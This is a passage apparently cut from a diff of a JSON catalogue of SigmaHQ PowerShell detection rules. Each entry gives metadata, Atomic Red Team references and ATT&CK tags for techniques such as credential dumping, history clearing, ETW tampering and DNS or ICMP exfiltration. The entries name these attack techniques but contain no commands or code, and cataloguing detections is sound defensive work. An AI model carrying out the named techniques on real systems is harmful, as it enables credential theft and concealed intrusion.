"Austin Songer (@austinsonger)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", - "uuid": "d4a11f63-2390-411c-9adf-d791fd152830", - "value": "Windows Screen Capture with CopyFromScreen", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ], - "creation_date": "2021/12/28", - "filename": "posh_ps_capture_screenshots.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", - "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", - "value": "Clearing Windows Console History", - "meta": { - "refs": [ - "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", - "https://www.shellhacks.com/clear-history-powershell/", - "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1070.003" - ], - "creation_date": "2021/11/25", - "filename": "posh_ps_clearing_windows_console_history.yml", - "author": "Austin Songer @austinsonger", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects keywords that could indicate clearing PowerShell history", - "uuid": "26b692dc-1722-49b2-b496-a8258aa6371d", - "value": "Clear PowerShell History", - "meta": { - "refs": [ - "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ], - "creation_date": "2022/01/25", - "filename": "posh_ps_clear_powershell_history.yml", - "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", - "uuid": "4cd29327-685a-460e-9dac-c3ab96e549dc", - "value": "Execution via CL_Invocation.ps1", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/14", - "filename": "posh_ps_cl_invocation_lolscript.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", - "uuid": "f588e69b-0750-46bb-8f87-0e9320d57536", - "value": "Execution via CL_Invocation.ps1 (2 Lines)", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/14", - "filename": "posh_ps_cl_invocation_lolscript_count.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", - "uuid": "39776c99-1c7b-4ba0-b5aa-641525eee1a4", - "value": "Execution via CL_Mutexverifiers.ps1", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", - "https://twitter.com/pabraeken/status/995111125447577600", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/14", - "filename": "posh_ps_cl_mutexverifiers_lolscript.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", - "uuid": "6609c444-9670-4eab-9636-fe4755a851ce", - "value": "Execution via CL_Mutexverifiers.ps1 (2 Lines)", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", - "https://twitter.com/pabraeken/status/995111125447577600", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/14", - "filename": "posh_ps_cl_mutexverifiers_lolscript_count.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", - "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb", - "value": "Powershell Create Scheduled Task", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.005" - ], - "creation_date": "2021/12/28", - "filename": "posh_ps_cmdlet_scheduled_task.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", - "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd", - "value": "Powershell Install a DLL in System Directory", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1556.002" - ], - "creation_date": "2021/12/27", - "filename": "posh_ps_copy_item_system_directory.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", - "uuid": "23590215-4702-4a70-8805-8dc9e58314a2", - "value": "Registry-Free Process Scope COR_PROFILER", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.012" - ], - "creation_date": "2021/12/30", - "filename": "posh_ps_cor_profiler.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a local user via PowerShell", - "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61", - "value": "PowerShell Create Local User", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.persistence", - "attack.t1136.001" - ], - "creation_date": "2020/04/11", - "filename": "posh_ps_create_local_user.yml", - "author": "@ROxPinTeddy", - "level": "medium", - "falsepositive": [ - "Legitimate user creation" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", - "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", - "value": "Create Volume Shadow Copy with Powershell", - "meta": { - "refs": [ - "https://attack.mitre.org/datasources/DS0005/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2022/01/12", - "filename": "posh_ps_create_volume_shadow_copy.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", - "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a", - "value": "Data Compressed - PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1560" - ], - "creation_date": "2019/10/21", - "filename": "posh_ps_data_compressed.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": [ - "Highly likely if archive operations are done via PowerShell." - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", - "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3", - "value": "Powershell Detect Virtualization Environment", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", - "https://techgenix.com/malicious-powershell-scripts-evade-detection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1497.001" - ], - "creation_date": "2021/08/03", - "filename": "posh_ps_detect_vm_env.yml", - "author": "frack113, Duc.Le-GTSC", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Enumerates Active Directory to determine computers that are joined to the domain", - "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480", - "value": "DirectorySearcher Powershell Exploitation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2022/02/12", - "filename": "posh_ps_directorysearcher.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", - "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08", - "value": "Manipulation of User Computer or Group Security Principals Across AD", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", - "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.002" - ], - "creation_date": "2021/12/28", - "filename": "posh_ps_directoryservices_accountmanagement.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", - "uuid": "602f5669-6927-4688-84db-0d4b7afb2150", - "value": "Disable Powershell Command History", - "meta": { - "refs": [ - "https://twitter.com/DissectMalware/status/1062879286749773824", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ], - "creation_date": "2022/08/21", - "filename": "posh_ps_disable_psreadline_command_history.yml", - "author": "Ali Alwashali", - "level": "high", - "falsepositive": [ - "Legitimate script that disables the command history" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", - "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3", - "value": "Disable-WindowsOptionalFeature Command PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", - "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/09/10", - "filename": "posh_ps_disable_windowsoptionalfeature.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Dnscat exfiltration tool execution", - "uuid": "a6d67db4-6220-436d-8afc-f3842fe05d43", - "value": "Dnscat Execution", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/10/24", - "filename": "posh_ps_dnscat_execution.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "critical", - "falsepositive": [ - "Legitimate usage of PowerShell Dnscat2 \u2014 DNS Exfiltration tool (unlikely)" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", - "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc", - "value": "Dump Credentials from Windows Credential Manager With PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555" - ], - "creation_date": "2021/12/20", - "filename": "posh_ps_dump_password_windows_credential_manager.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", - "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3", - "value": "Enable Windows Remote Management", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.006" - ], - "creation_date": "2022/01/07", - "filename": "posh_ps_enable_psremoting.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detect built in PowerShell cmdlet Enable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", - "uuid": "55c925c1-7195-426b-a136-a9396800e29b", - "value": "Enable-WindowsOptionalFeature Command PowerShell", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_windowsoptionalfeature.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/10", - "filename": "posh_ps_enable_windowsoptionalfeature.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", - "uuid": "603c6630-5225-49c1-8047-26c964553e0e", - "value": "Enumerate Credentials from Windows Credential Manager With PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555" - ], - "creation_date": "2021/12/20", - "filename": "posh_ps_enumerate_password_windows_credential_manager.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", - "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8", - "value": "Disable of ETW Trace", - "meta": { - "refs": [ - "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1562.006", - "car.2016-04-002" - ], - "creation_date": "2022/06/28", - "filename": "posh_ps_etw_trace_evasion.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", - "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474", - "value": "Suspicious PowerShell Mailbox SMTP Forward Rule", - "meta": { - "refs": [ - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml" - ], - "tags": [ - "attack.exfiltration" - ], - "creation_date": "2022/10/26", - "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the cmdlet to forward emails" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n", - "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9", - "value": "Powershell File and Directory Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2021/12/15", - "filename": "posh_ps_file_and_directory_discovery.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", - "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3", - "value": "Service Registry Permissions Weakness Check", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.011" - ], - "creation_date": "2021/12/30", - "filename": "posh_ps_get_acl_service.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", - "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73", - "value": "Suspicious Get-ADReplAccount", - "meta": { - "refs": [ - "https://www.powershellgallery.com/packages/DSInternals", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.006" - ], - "creation_date": "2022/02/06", - "filename": "posh_ps_get_adreplaccount.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", - "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf", - "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1217" - ], - "creation_date": "2021/12/13", - "filename": "posh_ps_get_childitem_bookmarks.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", - "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c", - "value": "PowerShell Hotfix Enumeration", - "meta": { - "refs": [ - "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml" - ], - "tags": [ - "attack.discovery" - ], - "creation_date": "2022/06/21", - "filename": "posh_ps_hotfix_enum.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate administration scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", - "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c", - "value": "PowerShell ICMP Exfiltration", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2020/10/10", - "filename": "posh_ps_icmp_exfiltration.yml", - "author": "Bartlomiej Czyz @bczyz1, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate usage of System.Net.NetworkInformation.Ping class" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell scripts that import modules from suspicious directories", - "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab", - "value": "Import PowerShell Modules From Suspicious Directories", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/07/07", - "filename": "posh_ps_import_module_susp_dirs.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", - "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6", - "value": "Execute Invoke-command on Remote Host", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.006" - ], - "creation_date": "2022/01/07", - "filename": "posh_ps_invoke_command_remote.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", - "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355", - "value": "Powershell DNSExfiltration", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", - "https://github.com/Arno0x/DNSExfiltrator", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ], - "creation_date": "2022/01/07", - "filename": "posh_ps_invoke_dnsexfiltration.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Commandlet name for 